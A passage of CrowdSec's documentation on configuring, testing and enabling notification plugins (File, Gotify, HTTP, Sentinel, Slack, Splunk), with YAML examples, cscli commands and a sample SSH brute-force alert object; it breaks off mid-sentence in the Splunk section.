key should be at the top level of the profile. Example profile with email plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - email_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Restart CrowdSec with the following command: SHCOPY ``` sudo systemctl restart crowdsec ``` --- # File Plugin The File plugin is by default shipped with your CrowdSec installation and allows you to write Alerts to an external file that can be monitored by external applications. The following guide shows how to configure, test and enable it. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default the configuration for Email plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/file.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/file.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\file.yaml` ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") Example config which writes Alerts to a file using NDJson (**N**ewline **D**elimiter **J**ava**S**cript **O**bject **N**otation) format to `/tmp/crowdsec_alerts.json`. YAMLCOPY ``` # Don't change this type: file name: file_default # this must match with the registered plugin in the profile log_level: info # Options include: trace, debug, info, warn, error, off # This template render all events as ndjson format: | {{range . -}} { "time": "{{.StopAt}}", "program": "crowdsec", "alert": {{. | toJson }} } {{ end -}} # group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" # group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" #Use full path EG /tmp/crowdsec_alerts.json log_path: "/tmp/crowdsec_alerts.json" rotate: enabled: true # Change to false if you want to handle log rotate on system basis max_size: 10 # in MB max_files: 5 # Number of files to keep max_age: 5 # in days but may remove files before this if max_files is reached compress: true # Compress rotated files using gzip ``` **Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. warning Some SIEM agents may not support some top level keys we define in the default ndjson format. Please make sure to adjust the format to match your SIEM agent's requirements. ### SIEM Integration[โ€‹](#siem-integration "Direct link to SIEM Integration") warning Please note if you change the format that is printed to the file you must also configure the collector on the SIEM side to also expect the same format #### Filebeat[โ€‹](#filebeat "Direct link to Filebeat") Filebeat has a set of reserved top level keys and should not be used in the ndjson format. The following format can be used to be compatible with Filebeat: YAMLCOPY ``` format: | {{range . -}} { "time": "{{.StopAt}}", "source": "crowdsec", "alert": {{. | toJson }} } {{ end -}} ``` #### Wazuh[โ€‹](#wazuh "Direct link to Wazuh") Wazuh has set of reserved top level keys and may cause logs not to be sent by the agent. The following format can be used to be compatible with Wazuh: YAMLCOPY ``` format: | {{range . -}} { "crowdsec": { "time": "", "program": "crowdsec", "alert": {{. | toJson }} }} {{ end -}} ``` ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test file_default ``` note If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `file_default` plugin list item. TEXTCOPY ``` #notifications: # - file_default ``` note If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with file plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - file_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` --- # Gotify CrowdSec can forward Alerts to Gotify via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Gotify instance. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default the configuration for HTTP plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/http.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") You can replace the file contents with the following configuration: Then replace the `` and the `` of the plugin's config so that it send the events to your Gotify instance. YAMLCOPY ``` type: http # Don't change name: http_default # Must match the registered plugin in the profile # One of "trace", "debug", "info", "warn", "error", "off" log_level: info # group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" # group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" # max_retry: # Number of attempts to relay messages to plugins in case of error # timeout: # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" #------------------------- # plugin-specific options # The following template receives a list of models.Alert objects # The output goes in the http request body format: | {{ range . -}} {{ $alert := . -}} { "extras": { "client::display": { "contentType": "text/markdown" } }, "priority": 3, {{range .Decisions -}} "title": "{{.Type }} {{ .Value }} for {{.Duration}}", "message": "{{.Scenario}} \n\n[crowdsec cti](https://app.crowdsec.net/cti/{{.Value -}}) \n\n[shodan](https://shodan.io/host/{{.Value -}})" {{end -}} } {{ end -}} # The plugin will make requests to this url, eg: https://www.example.com/ url: https:///message # Any of the http verbs: "POST", "GET", "PUT"... method: POST headers: X-Gotify-Key: Content-Type: application/json # skip_tls_verification: # true or false. Default is false ``` ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. TEXTCOPY ``` #notifications: # - http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with http plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - http_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto. --- # HTTP Plugin The HTTP plugin is by default shipped with your CrowdSec installation. The following guide shows how to configure, test and enable it. Every alert which would pass the profile's filter would be dispatched to `http_default` plugin. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default the configuration for HTTP plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/http.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` Configure how to make web requests by providing the `url`, `method`, `headers` etc. ### Adding the plugin configuration[โ€‹](#adding-the-plugin-configuration "Direct link to Adding the plugin configuration") Configure how to make web requests by providing the `url`, `method`, `headers` etc. Example config which posts the alerts serialized into json to localhost server. YAMLCOPY ``` # Don't change this type: http name: http_default # this must match with the registered plugin in the profile log_level: info # Options include: trace, debug, info, warn, error, off format: | # This template receives list of models.Alert objects. The request body would contain this. {{.|toJson}} url: http://localhost # plugin will make requests to this url. Eg value https://www.example.com/ # unix_socket: /var/run/example.sock # plugin will send the `url` across the unix socket instead of opening a remote connection method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value. # headers: # Authorization: token 0x64312313 # skip_tls_verification: # either true or false. Default is false # group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" # group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" # max_retry: # number of tries to attempt to send message to plugins in case of error. # timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" ``` info `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. TEXTCOPY ``` #notifications: # - http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with http plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - http_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` --- # Introduction ### Goal[โ€‹](#goal "Direct link to Goal") CrowdSec supports notification plugins, which allows alerts to pushed to third party services for alerting or integration purposes. Plugins are defined and used at the LAPI level, so if you are running a multi-server setup, you will configure the plugins on the server that is receiving the alerts. If you are not running a multi-server setup, you will configure the plugins on the same server as the main CrowdSec process. ### Configuration[โ€‹](#configuration "Direct link to Configuration") By default all plugins are shipped with CrowdSec are within the install package, and can trivially be enabled without further need to install additional packages. Refer directly to each plugin's dedicated documentation and keep in mind that plugins needs to be enabled/dispatched at the [profile](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md) level via the dedicated `notifications` section (defaults to `/etc/crowdsec/profiles.yaml`.md). Plugin binaries are present in `config_paths.plugin_dir` (defaults to `/var/lib/crowdsec/plugins/`), and their individual configuration are present in `config_paths.notification_dir` (defaults to `/etc/crowdsec/notifications/`) warning CrowdSec rejects the plugins binaries if one of the following is true : 1. plugin is not owned by the root user and root group. 2. plugin is world-writable. ### Environment variables[โ€‹](#environment-variables "Direct link to Environment variables") It is possible to set configuration values based on environment variables. However, depending on which key is using the environment variable, the syntax is different. #### Format[โ€‹](#format "Direct link to Format") The `format` key is a string that uses the [go template](https://pkg.go.dev/text/template) syntax. To use an environment variable in the `format` key, you can use the `env` function provided by [sprig](https://masterminds.github.io/sprig/). YAMLCOPY ``` format: | Received {{ len . }} alerts Environment variable value: {{env "ENV_VAR"}} ``` #### Other keys[โ€‹](#other-keys "Direct link to Other keys") All other keys than `format` can use the typical `${ENV_VAR}` or `$ENV_VAR` syntax. For example, if you don't want to store your SMTP host password in the configuration file, you can do this: YAMLCOPY ``` smtp_host: smtp.gmail.com smtp_username: myemail@gmail.com smtp_password: ${SMTP_PASSWORD} smtp_port: 587 auth_type: login sender_name: "CrowdSec" sender_email: email@gmail.com email_subject: "CrowdSec Notification" ``` warning Please note that `cscli notifications inspect` command does not interpolate environment variables and will always show the raw value of the key. If you wish to use `cscli notifications test` command, you must provide the environment variables in the command line or within your shell environment. For example, if you have a `SMTP_PASSWORD` environment variable, you can test the `email_default` plugin with the following command: warning Some shells may hold this information in history, so please consult your shell documentation to ensure that the password or other sensitive data is not stored in clear text. SHCOPY ``` SMTP_PASSWORD=your_password cscli notifications test email_default ``` ### Registering plugin to profile[โ€‹](#registering-plugin-to-profile "Direct link to Registering plugin to profile") After discovering the plugins, CrowdSec registers the plugins to the profiles. Here's a profile which sends alerts to plugin named `slackreport`. YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h on_success: break notifications: - slackreport ``` **Note:** In this case CrowdSec will map the plugin `slackreport` to the plugin config which has `name=slackreport`. See next section for more details. ### Notification plugin configuration:[โ€‹](#notification-plugin-configuration "Direct link to Notification plugin configuration:") Following fields are provided to all notification plugins and not specific to any plugin. YAMLCOPY ``` type: name: format: group_wait: group_threshold: max_retry: timeout: ``` #### `type` :[โ€‹](#type- "Direct link to type-") Required. Type of plugin, eg "slack" #### `name` :[โ€‹](#name- "Direct link to name-") Required. Name of this config eg "slackreport". This should match with registered name in profile. #### `format` :[โ€‹](#format- "Direct link to format-") Required. [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. The go templates provide additional directives provide by [sprig](https://masterminds.github.io/sprig/) . eg "Received `{{.len}}` alerts" #### `group_wait` :[โ€‹](#group_wait- "Direct link to group_wait-") Optional. duration to wait collecting alerts before sending to this plugin, eg "30s" #### `group_threshold` :[โ€‹](#group_threshold- "Direct link to group_threshold-") Optional. if alerts exceed this, then the plugin will be sent the message. eg "10" #### `max_retry` :[โ€‹](#max_retry- "Direct link to max_retry-") Optional. the number of tries to attempt to send message to plugins in case of error. #### `timeout` :[โ€‹](#timeout- "Direct link to timeout-") Optional. duration to wait for a response from the plugin before considering this attempt a failure. eg "10s" You can define other plugin specific fields too. eg `webhook` field for a slack plugin. ### Dispatching configuration:[โ€‹](#dispatching-configuration "Direct link to Dispatching configuration:") CrowdSec main process feeds the configuration files to the plugins via gRPC. It determines where to send the config via the value of `type` field in config file. ### Architecture and technical considerations[โ€‹](#architecture-and-technical-considerations "Direct link to Architecture and technical considerations") #### Architecture[โ€‹](#architecture "Direct link to Architecture") Under the hood, the main CrowdSec process dispatches the plugins as gRPC services. This means that plugins can be written in any language. Currently only `notification` plugins are supported. Whenever CrowdSec receives any alert and if this alert satisfies the owner profile, then the same alert will be dispatched to such plugin. [See](https://github.com/crowdsecurity/crowdsec/blob/plugins/pkg/protobufs/notifier.proto) the gRPC protocol for `notification` plugins. In the following sections we use `/etc/crowdsec/config.yaml` for configuration file paths. However depending on your platform the paths can be interchanged with the following: * **Linux** `/etc/crowdsec/config.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/config.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\config.yaml` #### Plugin Discovery[โ€‹](#plugin-discovery "Direct link to Plugin Discovery") Plugins are discovered from the directories specified in `/etc/crowdsec/config.yaml`. /etc/crowdsec/config.yaml YAML/etc/crowdsec/config.yamlCOPY ``` config_paths: notification_dir: /etc/crowdsec/notifications/ plugin_dir: /var/lib/crowdsec/plugins/ ``` #### Plugin Process Owner[โ€‹](#plugin-process-owner "Direct link to Plugin Process Owner") Due to security reasons, plugins process are operated under a user with limited privileges. This is done by setting owner and group of the plugin process as some unprivileged user. This can be configured via setting the desired user and group in `/etc/crowdsec/config.yaml`. /etc/crowdsec/config.yaml YAML/etc/crowdsec/config.yamlCOPY ``` plugin_config: user: nobody group: nogroup ``` note Depending on your distribution or platform these values may change to `nobody` or `nogroup`. If you wish to update these values, please ensure that the user and group exist on your system. ### Alert object[โ€‹](#alert-object "Direct link to Alert object") You have access to the list of alerts that triggered the notification when writing the go-template in the `format` parameter. An alert is defined as follow: TEXTCOPY ``` type Alert struct { Capacity *int32 `json:"capacity"` CreatedAt string `json:"created_at,omitempty"` Decisions []*Decision `json:"decisions"` Events []*Event `json:"events"` EventsCount *int32 `json:"events_count"` ID int64 `json:"id,omitempty"` Labels []string `json:"labels"` Leakspeed *string `json:"leakspeed"` MachineID string `json:"machine_id,omitempty"` Message *string `json:"message"` Meta Meta `json:"meta,omitempty"` Remediation bool `json:"remediation,omitempty"` Scenario *string `json:"scenario"` ScenarioHash *string `json:"scenario_hash"` ScenarioVersion *string `json:"scenario_version"` Simulated *bool `json:"simulated"` Source *Source `json:"source"` StartAt *string `json:"start_at"` StopAt *string `json:"stop_at"` } ``` Here is a full example of an Alert object list available in the go-template (this example was generated by a SSH bruteforce). Note that this was generated using the `toJson` sprig function, so field names are a bit different from the actual names in the go object. To use them in a go-template, you can check [here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) to get the actual field names. Show the full alert object JSONCOPY ``` [ { "capacity": 5, "decisions": [ { "duration": "4h", "origin": "crowdsec", "scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", "value": "35.188.49.176" } ], "events": [ { "meta": [ { "key": "ASNNumber", "value": "15169" }, { "key": "ASNOrg", "value": "Google LLC" }, { "key": "IsInEU", "value": "false" }, { "key": "IsoCode", "value": "US" }, { "key": "SourceRange", "value": "35.184.0.0/13" }, { "key": "datasource_path", "value": "ssh-bf.log" }, { "key": "datasource_type", "value": "file" }, { "key": "log_type", "value": "ssh_failed-auth" }, { "key": "machine", "value": "sd-126005" }, { "key": "service", "value": "ssh" }, { "key": "source_ip", "value": "35.188.49.176" }, { "key": "target_user", "value": "pascal" }, { "key": "timestamp", "value": "2022-02-12T14:10:21Z" } ], "timestamp": "2022-02-12T14:10:23Z" }, { "meta": [ { "key": "ASNNumber", "value": "15169" }, { "key": "ASNOrg", "value": "Google LLC" }, { "key": "IsInEU", "value": "false" }, { "key": "IsoCode", "value": "US" }, { "key": "SourceRange", "value": "35.184.0.0/13" }, { "key": "datasource_path", "value": "ssh-bf.log" }, { "key": "datasource_type", "value": "file" }, { "key": "log_type", "value": "ssh_failed-auth" }, { "key": "machine", "value": "sd-126005" }, { "key": "service", "value": "ssh" }, { "key": "source_ip", "value": "35.188.49.176" }, { "key": "target_user", "value": "pascal1" }, { "key": "timestamp", "value": "2022-02-12T14:10:21Z" } ], "timestamp": "2022-02-12T14:10:23Z" }, { "meta": [ { "key": "ASNNumber", "value": "15169" }, { "key": "ASNOrg", "value": "Google LLC" }, { "key": "IsInEU", "value": "false" }, { "key": "IsoCode", "value": "US" }, { "key": "SourceRange", "value": "35.184.0.0/13" }, { "key": "datasource_path", "value": "ssh-bf.log" }, { "key": "datasource_type", "value": "file" }, { "key": "log_type", "value": "ssh_failed-auth" }, { "key": "machine", "value": "sd-126005" }, { "key": "service", "value": "ssh" }, { "key": "source_ip", "value": "35.188.49.176" }, { "key": "target_user", "value": "pascal2" }, { "key": "timestamp", "value": "2022-02-12T14:10:22Z" } ], "timestamp": "2022-02-12T14:10:23Z" }, { "meta": [ { "key": "ASNNumber", "value": "15169" }, { "key": "ASNOrg", "value": "Google LLC" }, { "key": "IsInEU", "value": "false" }, { "key": "IsoCode", "value": "US" }, { "key": "SourceRange", "value": "35.184.0.0/13" }, { "key": "datasource_path", "value": "ssh-bf.log" }, { "key": "datasource_type", "value": "file" }, { "key": "log_type", "value": "ssh_failed-auth" }, { "key": "machine", "value": "sd-126005" }, { "key": "service", "value": "ssh" }, { "key": "source_ip", "value": "35.188.49.176" }, { "key": "target_user", "value": "pascal3" }, { "key": "timestamp", "value": "2022-02-12T14:10:22Z" } ], "timestamp": "2022-02-12T14:10:23Z" }, { "meta": [ { "key": "ASNNumber", "value": "15169" }, { "key": "ASNOrg", "value": "Google LLC" }, { "key": "IsInEU", "value": "false" }, { "key": "IsoCode", "value": "US" }, { "key": "SourceRange", "value": "35.184.0.0/13" }, { "key": "datasource_path", "value": "ssh-bf.log" }, { "key": "datasource_type", "value": "file" }, { "key": "log_type", "value": "ssh_failed-auth" }, { "key": "machine", "value": "sd-126005" }, { "key": "service", "value": "ssh" }, { "key": "source_ip", "value": "35.188.49.176" }, { "key": "target_user", "value": "pascal4" }, { "key": "timestamp", "value": "2022-02-12T14:10:23Z" } ], "timestamp": "2022-02-12T14:10:23Z" }, { "meta": [ { "key": "ASNNumber", "value": "15169" }, { "key": "ASNOrg", "value": "Google LLC" }, { "key": "IsInEU", "value": "false" }, { "key": "IsoCode", "value": "US" }, { "key": "SourceRange", "value": "35.184.0.0/13" }, { "key": "datasource_path", "value": "ssh-bf.log" }, { "key": "datasource_type", "value": "file" }, { "key": "log_type", "value": "ssh_failed-auth" }, { "key": "machine", "value": "sd-126005" }, { "key": "service", "value": "ssh" }, { "key": "source_ip", "value": "35.188.49.176" }, { "key": "target_user", "value": "pascal5" }, { "key": "timestamp", "value": "2022-02-12T14:10:23Z" } ], "timestamp": "2022-02-12T14:10:23Z" } ], "events_count": 6, "labels": null, "leakspeed": "10s", "machine_id": "4e1c7990a4af460a9c622d2c80a856334U2v5NbKX14uQKFa", "message": "Ip 35.188.49.176 performed 'crowdsecurity/ssh-bf' (6 events over 2s) at 2022-02-12 14:10:23 +0000 UTC", "remediation": true, "scenario": "crowdsecurity/ssh-bf", "scenario_hash": "4441dcff07020f6690d998b7101e642359ba405c2abb83565bbbdcee36de280f", "scenario_version": "0.1", "simulated": false, "source": { "as_name": "Google LLC", "as_number": "15169", "cn": "US", "ip": "35.188.49.176", "latitude": 37.4192, "longitude": -122.0574, "range": "35.184.0.0/13", "scope": "Ip", "value": "35.188.49.176" }, "start_at": "2022-02-12T14:10:21Z", "stop_at": "2022-02-12T14:10:23Z" } ] ``` #### Usage examples[โ€‹](#usage-examples "Direct link to Usage examples") Convert the whole list to JSON format: TEXTCOPY ``` {{ .|toJson }} ``` *** Extract all the decisions in the alerts list TEXTCOPY ``` {{ range . }} {{ range .Decisions }} {{ .Value }} has performed {{.Scenario}} and has received "{{.Type}}" for {{.Duration}} {{ end }} {{ end }} ``` *** Extract the meta associated with the alerts TEXTCOPY ``` {{ range .}} {{.Source.Value}} has performed {{.Scenario}} (meta : {{range .Events}} {{range .Meta}} {{.Key}} : {{.Value}} | {{end}} -- {{ end }}) {{ end }} ``` ### Debugging notifications plugins[โ€‹](#debugging-notifications-plugins "Direct link to Debugging notifications plugins") **cscli** tool provide some useful command to help write notification plugin configuration. Those are provided by the `cscli notifications` command and its subcommands. For a practical, end-to-end walkthrough, see [Testing notification plugins](https://docs.crowdsec.net/docs/next/local_api/notification_plugins/testing.md). | SubCommand | Description | | ------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | | [list](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_list.md) | List all notification plugins and their status | | [inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_inspect.md) | Get configuration information for a notification plugin | | [test](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_test.md) | Test the configuration by sending a `generic` alert directly to notification plugin | | [reinject](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_reinject.md) | Reinject an Alert to the profiles pipeline to simulate real processing of an Alert | info Please note the difference between `reinject` and `test`, `reinject` will send the alert to the profiles pipeline and then to the notification plugin that is `active` on the matched profile, while `test` will send the alert directly to the notification plugin no matter if the plugin is active or defined within a profile. --- # Sentinel Plugin The sentinel plugin is by default shipped with your CrowdSec installation. The following guide shows how to configure, test and enable it. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default there would be a sentinel config at these default location per OS: * **Linux** `/etc/crowdsec/notifications/sentinel.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/sentinel.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\sentinel.yaml` ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") You will need to specify: * customer\_id * shared\_key * log\_type Example config: YAMLCOPY ``` type: sentinel # Don't change name: sentinel_default # Must match the registered plugin in the profile # One of "trace", "debug", "info", "warn", "error", "off" log_level: info # group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" # group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" # max_retry: # Number of attempts to relay messages to plugins in case of error # timeout: # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" #------------------------- # plugin-specific options # The following template receives a list of models.Alert objects # The output goes in the http request body format: | {{.|toJson}} customer_id: XXX-XXX shared_key: XXXXXXX log_type: crowdsec ``` **Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. ### Configuration options[โ€‹](#configuration-options "Direct link to Configuration options") #### customer\_id[โ€‹](#customer_id "Direct link to customer_id") Also known as the `workspace id`. You can get it from the azure portal in `Log Analytics workspace` -> `YOUR_WORKSPACE` -> `Settings` -> `Agents` #### shared\_key[โ€‹](#shared_key "Direct link to shared_key") Also known as the `primary key`. You can get it from the azure portal in `Log Analytics workspace` -> `YOUR_WORKSPACE` -> `Settings` -> `Agents` #### log\_type[โ€‹](#log_type "Direct link to log_type") The log type is the name of the log that will be sent to azure. Assuming you chose `crowdsec`, it will appear as `crowdsec_CL` in azure. ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test sentinel_default ``` note If you have changed the `name` property in the configuration file, you should replace `sentinel_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `sentinel_default` plugin list item. TEXTCOPY ``` #notifications: # - sentinel_default ``` note If you have changed the `name` property in the configuration file, you should replace `sentinel_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with sentinel plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - sentinel_default on_success: break ``` ## Final Steps[โ€‹](#final-steps "Direct link to Final Steps") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` --- # Slack Plugin The slack plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it. ## Configuring the plugin:[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin:") By default the configuration for Slack plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/slack.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/slack.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\slack.yaml` ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") Here is the base configuration for the Slack plugin: YAMLCOPY ``` # Don't change this type: slack name: slack_default # this must match with the registered plugin in the profile log_level: info # Options include: trace, debug, info, warn, error, off format: | # This template receives list of models.Alert objects. The message would be composed from this {{range . -}} {{$alert := . -}} {{range .Decisions -}} {{if $alert.Source.Cn -}} :flag-{{$alert.Source.Cn}}: will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine '{{$alert.MachineID}}'. {{end}} {{if not $alert.Source.Cn -}} :pirate_flag: will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine '{{$alert.MachineID}}'. {{end}} {{end -}} {{end -}} webhook: https://hooks.slack.com/services/xxxxxxxxxxxxxxxxxxxxxxxxxxx # Replace this with your actual webhook URL. This is a slack plugin-specific config. ``` **Don't forget to replace the webhook with your own webhook** See [slack guide](https://slack.com/intl/en-in/help/articles/115005265063-Incoming-webhooks-for-Slack) for instructions to obtain webhook. **Note** that the filename `/etc/crowdsec/notifications/slack.yaml` has no significance. You may as well define other configs for slack plugin for new channels in another file in `/etc/crowdsec/notifications/`. **Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test slack_default ``` note If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `slack_default` plugin list item. TEXTCOPY ``` #notifications: # - slack_default ``` note If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with email plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - slack_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` --- # Splunk Plugin The splunk plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it. ## Configuring the plugin:[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin:") By default the configuration for Splunk plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/splunk.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/splunk.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\splunk.yaml` ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") Here is the base configuration for the Splunk plugin: YAMLCOPY ``` # Don't change this type: splunk name: splunk_default # this must match with the registered plugin in the profile log_level: info # Options include: trace, debug, info, warn, error, off format: | # This template receives list of models.Alert objects. Splunk event will be created with its contents. {{.|toJson}} token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx url: https://xxx.yyyy.splunkcloud.com:8088/services/collector # group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" # group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" # max_retry: # number of tries to attempt to send message to plugins in case of error. # timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" ``` See [splunk guide](https://docs.splunk.com/Documentation/Splunk/8.2.1/Data/UsetheHTTPEventCollector) for instructions to obtain the token and url. **Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before 